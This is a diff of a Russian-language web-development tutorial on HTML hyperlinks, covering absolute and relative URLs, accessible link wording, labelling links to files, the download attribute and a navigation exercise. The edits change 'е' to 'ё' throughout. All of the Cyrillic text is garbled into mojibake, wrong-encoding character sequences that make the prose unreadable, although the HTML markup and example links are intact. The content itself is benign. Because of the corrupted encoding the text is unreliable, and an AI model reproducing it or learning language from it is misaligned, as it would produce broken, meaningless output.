<h3 id="ΠΠ±ΡΠΎΠ»ΡŽΡ‚Π½Ρ‹Π΅_ΠΈ_ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅_URL-адрСса">ΠΠ±ΡΠΎΠ»ΡŽΡ‚Π½Ρ‹Π΅ ΠΈ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ URL-адрСса</h3>
-<p>Π”Π²Π° понятия, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π²Ρ‹ ΡΡ‚ΠΎΠ»ΠΊΠ½Π΅Ρ‚Π΅ΡΡŒ Π² Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅, β€” это <strong>Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½Ρ‹ΠΉ URL</strong> ΠΈ <strong>ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ URL</strong><strong>:</strong></p>
+<p>Π”Π²Π° понятия, с ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ Π²Ρ‹ ΡΡ‚ΠΎΠ»ΠΊΠ½Ρ‘Ρ‚Π΅ΡΡŒ Π² Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅, β€” это <strong>Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½Ρ‹ΠΉ URL</strong> ΠΈ <strong>ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ URL</strong><strong>:</strong></p>
<dl>
<dt><strong>ΠΠ±ΡΠΎΠ»ΡŽΡ‚Π½Ρ‹ΠΉ URL</strong></dt>
@@ -189,14 +189,14 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_гипСрс
<ul>
</ul>
-<h3 id="Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅_Ρ‡Π΅Ρ‚ΠΊΠΈΠ΅_Ρ„ΠΎΡ€ΠΌΡƒΠ»ΠΈΡ€ΠΎΠ²ΠΊΠΈ_описания_ссылок">Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Ρ‡Π΅Ρ‚ΠΊΠΈΠ΅ Ρ„ΠΎΡ€ΠΌΡƒΠ»ΠΈΡ€ΠΎΠ²ΠΊΠΈ описания ссылок</h3>
+<h3 id="Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅_Ρ‡Ρ‘Ρ‚ΠΊΠΈΠ΅_Ρ„ΠΎΡ€ΠΌΡƒΠ»ΠΈΡ€ΠΎΠ²ΠΊΠΈ_описания_ссылок">Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Ρ‡Ρ‘Ρ‚ΠΊΠΈΠ΅ Ρ„ΠΎΡ€ΠΌΡƒΠ»ΠΈΡ€ΠΎΠ²ΠΊΠΈ описания ссылок</h3>
<p>На вашСй страницС Π»Π΅Π³ΠΊΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ссылки. Но этого Π½Π΅ совсСм достаточно. ΠœΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ наши ссылки <em>доступными </em>для всСх Ρ‡ΠΈΡ‚Π°Ρ‚Π΅Π»Π΅ΠΉ, нСзависимо ΠΎΡ‚ ΠΈΡ… возмоТностСй ΠΈ инструмСнтов просмотра страницы, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅Β ΠΎΠ½ΠΈ ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡ΠΈΡ‚Π°ΡŽΡ‚. НапримСр:</p>
<ul>
<li>ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡΠΌ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌ Ρ‡ΠΈΡ‚Π°ΡŽΡ‰ΠΈΡ…Β Ρ экрана нравится ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒ ΠΏΠΎ ссылкам Π½Π° страницС, читая адрСс ссылки Π² тСкстС.</li>
- <li>ΠŸΠΎΠΈΡΠΊΠΎΠ²Ρ‹Π΅ систСмы ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ тСкст ссылки для индСксирования Ρ„Π°ΠΉΠ»ΠΎΠ², поэтому рСкомСндуСтся Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ слова Π² тСкст ссылки, Ρ‡Ρ‚ΠΎΠ±Ρ‹ эффСктивно ΠΎΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒ, ΠΊΡƒΠ΄Π° Π²Π΅Π΄Π΅Ρ‚ ссылка.</li>
- <li>ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ часто Π±Π΅Π³Π»ΠΎ ΠΏΡ€ΠΎΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°ΡŽΡ‚ страницу, Π½Π΅ читая каТдоС слово, ΠΈ ΠΈΡ… Π³Π»Π°Π·Π° Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€ΠΈΠ²Π»Π΅Ρ‡Π΅Π½Ρ‹ ΠΊ тСксту, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ выдСляСтся, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ссылки. Им Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ описаниС Ρ‚ΠΎΠ³ΠΎ, ΠΊΡƒΠ΄Π° Π²Π΅Π΄Π΅Ρ‚ ссылка.</li>
+ <li>ΠŸΠΎΠΈΡΠΊΠΎΠ²Ρ‹Π΅ систСмы ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ тСкст ссылки для индСксирования Ρ„Π°ΠΉΠ»ΠΎΠ², поэтому рСкомСндуСтся Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ слова Π² тСкст ссылки, Ρ‡Ρ‚ΠΎΠ±Ρ‹ эффСктивно ΠΎΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒ, ΠΊΡƒΠ΄Π° Π²Π΅Π΄Ρ‘Ρ‚ ссылка.</li>
+ <li>ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ часто Π±Π΅Π³Π»ΠΎ ΠΏΡ€ΠΎΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°ΡŽΡ‚ страницу, Π½Π΅ читая каТдоС слово, ΠΈ ΠΈΡ… Π³Π»Π°Π·Π° Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡ€ΠΈΠ²Π»Π΅Ρ‡Π΅Π½Ρ‹ ΠΊ тСксту, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ выдСляСтся, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ссылки. Им Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ описаниС Ρ‚ΠΎΠ³ΠΎ, ΠΊΡƒΠ΄Π° Π²Π΅Π΄Ρ‘Ρ‚ ссылка.</li>
</ul>
<p>ВзглянитС Π½Π° этот ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
@@ -219,7 +219,7 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_гипСрс
<ul>
<li>НС ΠΏΠΈΡˆΠΈΡ‚Π΅ URL-адрСс ΠΊΠ°ΠΊ Ρ‡Π°ΡΡ‚ΡŒ тСкста ссылки. URL-адрСса выглядят слоТными, Π°Β Π·Π²ΡƒΡ‡Π°Ρ‚ Сщё слоТнСС, ΠΊΠΎΠ³Π΄Π° ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ чтСния с экрана Ρ‡ΠΈΡ‚Π°ΡŽΡ‚ ΠΈΡ… ΠΏΠΎ Π±ΡƒΠΊΠ²Π°ΠΌ.</li>
- <li>НС ΠΏΠΈΡˆΠΈΡ‚Π΅ «ссылка» ΠΈΠ»ΠΈ «ссылки Π½Π°Β» Π² тСкстС ссылки — это лишнСС. ΠŸΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ чтСния с экрана сами ΠΏΡ€ΠΎΠ³ΠΎΠ²Π°Ρ€ΠΈΠ²Π°ΡŽΡ‚, Ρ‡Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ ссылка. На экранС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ Ρ‚Π°ΠΊΠΆΠ΅ видят, Ρ‡Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ ссылка, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ссылки, ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, ΠΎΡ„ΠΎΡ€ΠΌΠ»Π΅Π½Ρ‹ Π² Π΄Ρ€ΡƒΠ³ΠΎΠΌ Ρ†Π²Π΅Ρ‚Π΅ ΠΈ ΠΏΠΎΠ΄Ρ‡Π΅Ρ€ΠΊΠ½ΡƒΡ‚Ρ‹ (подчёркивая ссылки, Π²Ρ‹ ΡΠΎΠ±Π»ΡŽΠ΄Π°Π΅Ρ‚Π΅ ΠΏΡ€Π°Π²ΠΈΠ»Π° Ρ…ΠΎΡ€ΠΎΡˆΠ΅Π³ΠΎ Ρ‚ΠΎΠ½Π°, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈΒ ΠΏΡ€ΠΈΠ²Ρ‹ΠΊΠ»ΠΈ ΠΊ этому).</li>
+ <li>НС ΠΏΠΈΡˆΠΈΡ‚Π΅ «ссылка» ΠΈΠ»ΠΈ «ссылки Π½Π°Β» Π² тСкстС ссылки — это лишнСС. ΠŸΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹ чтСния с экрана сами ΠΏΡ€ΠΎΠ³ΠΎΠ²Π°Ρ€ΠΈΠ²Π°ΡŽΡ‚, Ρ‡Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ ссылка. На экранС ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ Ρ‚Π°ΠΊΠΆΠ΅ видят, Ρ‡Ρ‚ΠΎ Π΅ΡΡ‚ΡŒ ссылка, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ссылки, ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, ΠΎΡ„ΠΎΡ€ΠΌΠ»Π΅Π½Ρ‹ Π² Π΄Ρ€ΡƒΠ³ΠΎΠΌ Ρ†Π²Π΅Ρ‚Π΅ ΠΈ ΠΏΠΎΠ΄Ρ‡Ρ‘Ρ€ΠΊΠ½ΡƒΡ‚Ρ‹ (подчёркивая ссылки, Π²Ρ‹ ΡΠΎΠ±Π»ΡŽΠ΄Π°Π΅Ρ‚Π΅ ΠΏΡ€Π°Π²ΠΈΠ»Π° Ρ…ΠΎΡ€ΠΎΡˆΠ΅Π³ΠΎ Ρ‚ΠΎΠ½Π°, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈΒ ΠΏΡ€ΠΈΠ²Ρ‹ΠΊΠ»ΠΈ ΠΊ этому).</li>
<li>Π‘Π»Π΅Π΄ΠΈΡ‚Π΅ Π·Π° Ρ‚Π΅ΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ тСкст ссылки Π±Ρ‹Π» ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ ΠΊΠΎΡ€ΠΎΡ‡Π΅. Π”Π»ΠΈΠ½Π½Ρ‹ΠΉ тСкст ссылки особСнно Ρ€Π°Π·Π΄Ρ€Π°ΠΆΠ°Π΅Ρ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌ чтСния с экрана, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ придётся ΡƒΡΠ»Ρ‹ΡˆΠ°Ρ‚ΡŒ всё, Ρ‡Ρ‚ΠΎ написано.</li>
<li>ΠœΠΈΠ½ΠΈΠΌΠΈΠ·ΠΈΡ€ΡƒΠΉΡ‚Π΅ случаи, ΠΊΠΎΠ³Π΄Π° нСсколько ΠΊΠΎΠΏΠΈΠΉ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΈ Ρ‚ΠΎΠ³ΠΎ ΠΆΠ΅ тСкста ссылок ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° Ρ€Π°Π·Π½Ρ‹Π΅ страницы. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌ чтСния с экрана, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ часто Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‚ список ссылок — нСсколько ссылок, ΠΏΠΎΠΌΠ΅Ρ‡Π΅Π½Π½Ρ‹Ρ… ΠΊΠ°ΠΊ Β«Π½Π°ΠΆΠΌΠΈΡ‚Π΅ здСсь», Β«Π½Π°ΠΆΠΌΠΈΡ‚Π΅ здСсь», Β«Π½Π°ΠΆΠΌΠΈΡ‚Π΅ здСсь», Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΡƒΡ‚Π°Ρ‚ΡŒ.</li>
</ul>
@@ -235,7 +235,7 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_гипСрс
<h3 id="Боздавая_ссылки_Π½Π°_Π½Π΅_HTML_рСсурсы_β€”_добавляйтС_описаниС">Боздавая ссылки Π½Π° Π½Π΅ HTML рСсурсы — добавляйтС описаниС</h3>
-<p>Когда Π²Ρ‹ создаётС ссылку на Ρ„Π°ΠΉΠ», Π½Π°ΠΆΠ°Π² Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ½ΠΎ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ PDF ΠΈΠ»ΠΈ WordΒ ΠΈΠ»ΠΈ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ просмотр Π²ΠΈΠ΄Π΅ΠΎ, ΠΏΡ€ΠΎΡΠ»ΡƒΡˆΠΈΠ²Π°Π½ΠΈΠ΅Β Π°ΡƒΠ΄ΠΈΠΎΒ Ρ„Π°ΠΉΠ»Π° ΠΈΠ»ΠΈ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ Π½Π° страницу с Π΄Ρ€ΡƒΠ³ΠΈΠΌ,Β Π½Π΅ΠΎΠΆΠΈΠ΄Π°Π½Π½Ρ‹ΠΌ для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ (Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅ ΠΎΠΊΠ½ΠΎ ΠΈΠ»ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ° Flash-Ρ„ΠΈΠ»ΡŒΠΌΠ°), добавляйтС Ρ‡Π΅Ρ‚ΠΊΡƒΡŽ Ρ„ΠΎΡ€ΠΌΡƒΠ»ΠΈΡ€ΠΎΠ²ΠΊΡƒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΌΠ΅Π½ΡŒΡˆΠΈΡ‚ΡŒ ΠΏΡƒΡ‚Π°Π½ΠΈΡ†Ρƒ. ΠžΡ‚ΡΡƒΡ‚ΡΡ‚Π²ΠΈΠ΅ описания ΠΌΠΎΠΆΠ΅Ρ‚ Ρ€Π°Π·Π΄Ρ€Π°ΠΆΠ°Ρ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. ΠŸΡ€ΠΈΠ²Π΅Π΄Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
+<p>Когда Π²Ρ‹ создаётС ссылку на Ρ„Π°ΠΉΠ», Π½Π°ΠΆΠ°Π² Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΠΎΠΆΠ½ΠΎ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ PDF ΠΈΠ»ΠΈ WordΒ ΠΈΠ»ΠΈ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ΡŒ просмотр Π²ΠΈΠ΄Π΅ΠΎ, ΠΏΡ€ΠΎΡΠ»ΡƒΡˆΠΈΠ²Π°Π½ΠΈΠ΅Β Π°ΡƒΠ΄ΠΈΠΎΒ Ρ„Π°ΠΉΠ»Π° ΠΈΠ»ΠΈ ΠΏΠ΅Ρ€Π΅ΠΉΡ‚ΠΈ Π½Π° страницу с Π΄Ρ€ΡƒΠ³ΠΈΠΌ,Β Π½Π΅ΠΎΠΆΠΈΠ΄Π°Π½Π½Ρ‹ΠΌ для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠΌ (Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰Π΅Π΅ ΠΎΠΊΠ½ΠΎ ΠΈΠ»ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ° Flash-Ρ„ΠΈΠ»ΡŒΠΌΠ°), добавляйтС Ρ‡Ρ‘Ρ‚ΠΊΡƒΡŽ Ρ„ΠΎΡ€ΠΌΡƒΠ»ΠΈΡ€ΠΎΠ²ΠΊΡƒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΌΠ΅Π½ΡŒΡˆΠΈΡ‚ΡŒ ΠΏΡƒΡ‚Π°Π½ΠΈΡ†Ρƒ. ΠžΡ‚ΡΡƒΡ‚ΡΡ‚Π²ΠΈΠ΅ описания ΠΌΠΎΠΆΠ΅Ρ‚ Ρ€Π°Π·Π΄Ρ€Π°ΠΆΠ°Ρ‚ΡŒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. ΠŸΡ€ΠΈΠ²Π΅Π΄Ρ‘ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
<ul>
<li>Если Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ соСдинСниС с Π½ΠΈΠ·ΠΊΠΎΠΉ пропускной ΡΠΏΠΎΡΠΎΠ±Π½ΠΎΡΡ‚ΡŒΡŽ ΠΈ Π²Π΄Ρ€ΡƒΠ³Β Π½Π°ΠΆΠΌΡ‘Ρ‚Π΅ на ссылку Π±Π΅Π· описания, начнётся Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ°Β Π±ΠΎΠ»ΡŒΡˆΠΎΠ³ΠΎ Ρ„Π°ΠΉΠ»Π°.</li>
@@ -245,7 +245,7 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_гипСрс
<p>ΠŸΠΎΡΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ Π½Π° ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρ‹, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ описаниС:</p>
<pre class="brush: html notranslate">&lt;p&gt;&lt;a href="http://www.example.com/large-report.pdf"&gt;
- Π‘ΠΊΠ°Ρ‡Π°Ρ‚ΡŒ ΠΎΡ‚Ρ‡Π΅Ρ‚ ΠΎ ΠΏΡ€ΠΎΠ΄Π°ΠΆΠ°Ρ… (PDF, 10MB)
+ Π‘ΠΊΠ°Ρ‡Π°Ρ‚ΡŒ ΠΎΡ‚Ρ‡Ρ‘Ρ‚ ΠΎ ΠΏΡ€ΠΎΠ΄Π°ΠΆΠ°Ρ… (PDF, 10MB)
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.example.com/video-stream/"&gt;
@@ -256,9 +256,9 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_гипСрс
Π˜Π³Ρ€Π°Ρ‚ΡŒ Π² Π³ΠΎΠ½ΠΊΠΈ (Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌ Flash)
&lt;/a&gt;&lt;/p&gt;</pre>
-<h3 id="Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅_Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚_download_ΠΊΠΎΠ³Π΄Π°_создаСтС_ссылку">Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β download, ΠΊΠΎΠ³Π΄Π° создаСтС ссылку</h3>
+<h3 id="Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅_Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚_download_ΠΊΠΎΠ³Π΄Π°_создаётС_ссылку">Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β download, ΠΊΠΎΠ³Π΄Π° создаётС ссылку</h3>
-<p>Когда создаётС ссылку Π½Π° Ρ„Π°ΠΉΠ», ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½, Π° Π½Π΅ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>download</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ имя Ρ„Π°ΠΉΠ»Π° ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для сохранСния . ΠŸΡ€ΠΈΠ²Π΅Π΄Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ссылки для Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° Firefox 39:</p>
+<p>Когда создаётС ссылку Π½Π° Ρ„Π°ΠΉΠ», ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½, Π° Π½Π΅ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <code>download</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ имя Ρ„Π°ΠΉΠ»Π° ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для сохранСния . ΠŸΡ€ΠΈΠ²Π΅Π΄Ρ‘ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ссылки для Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° Firefox 39:</p>
<pre class="brush: html notranslate">&lt;a href="https://download.mozilla.org/?product=firefox-39.0-SSL&amp;os=win&amp;lang=en-US"
download="firefox-39-installer.exe"&gt;
@@ -267,7 +267,7 @@ original_slug: Learn/HTML/Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅_Π²_HTML/Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_гипСрс
<h2 id="АктивноС_ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΠ΅_созданиС_мСню_Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ">АктивноС ΠΈΠ·ΡƒΡ‡Π΅Π½ΠΈΠ΅: созданиС мСню Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ</h2>
-<p>Для этого упраТнСния ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ создали ссылки на страницы Π² мСню Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈΒ Π² многостраничном сайтС. Π­Ρ‚ΠΎ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· распространСнных способов создания сайта: Π½Π° ΠΊΠ°ΠΆΠ΄ΠΎΠΉ страницС ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΎΠ΄Π½Π° ΠΈ Ρ‚Π° ΠΆΠ΅ структура страниц, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ ΠΎΠ΄Π½ΠΎ ΠΈ Ρ‚ΠΎ ΠΆΠ΅ мСню Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ, поэтому ΠΏΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ ссылок создаСтся Π²ΠΏΠ΅Ρ‡Π°Ρ‚Π»Π΅Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΎΡΡ‚Π°Π΅Ρ‚Π΅ΡΡŒ Π² ΠΎΠ΄Π½ΠΎΠΌ мСстС: мСню остаСтся Π½Π° мСстС, Π° ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ мСняСтся.</p>
+<p>Для этого упраТнСния ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ создали ссылки на страницы Π² мСню Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈΒ Π² многостраничном сайтС. Π­Ρ‚ΠΎ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· распространённых способов создания сайта: Π½Π° ΠΊΠ°ΠΆΠ΄ΠΎΠΉ страницС ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΎΠ΄Π½Π° ΠΈ Ρ‚Π° ΠΆΠ΅ структура страниц, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ ΠΎΠ΄Π½ΠΎ ΠΈ Ρ‚ΠΎ ΠΆΠ΅ мСню Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ, поэтому ΠΏΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ ссылок создаётся Π²ΠΏΠ΅Ρ‡Π°Ρ‚Π»Π΅Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΎΡΡ‚Π°Ρ‘Ρ‚Π΅ΡΡŒ Π² ΠΎΠ΄Π½ΠΎΠΌ мСстС: мСню остаётся Π½Π° мСстС, Π° ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ мСняСтся.</p>
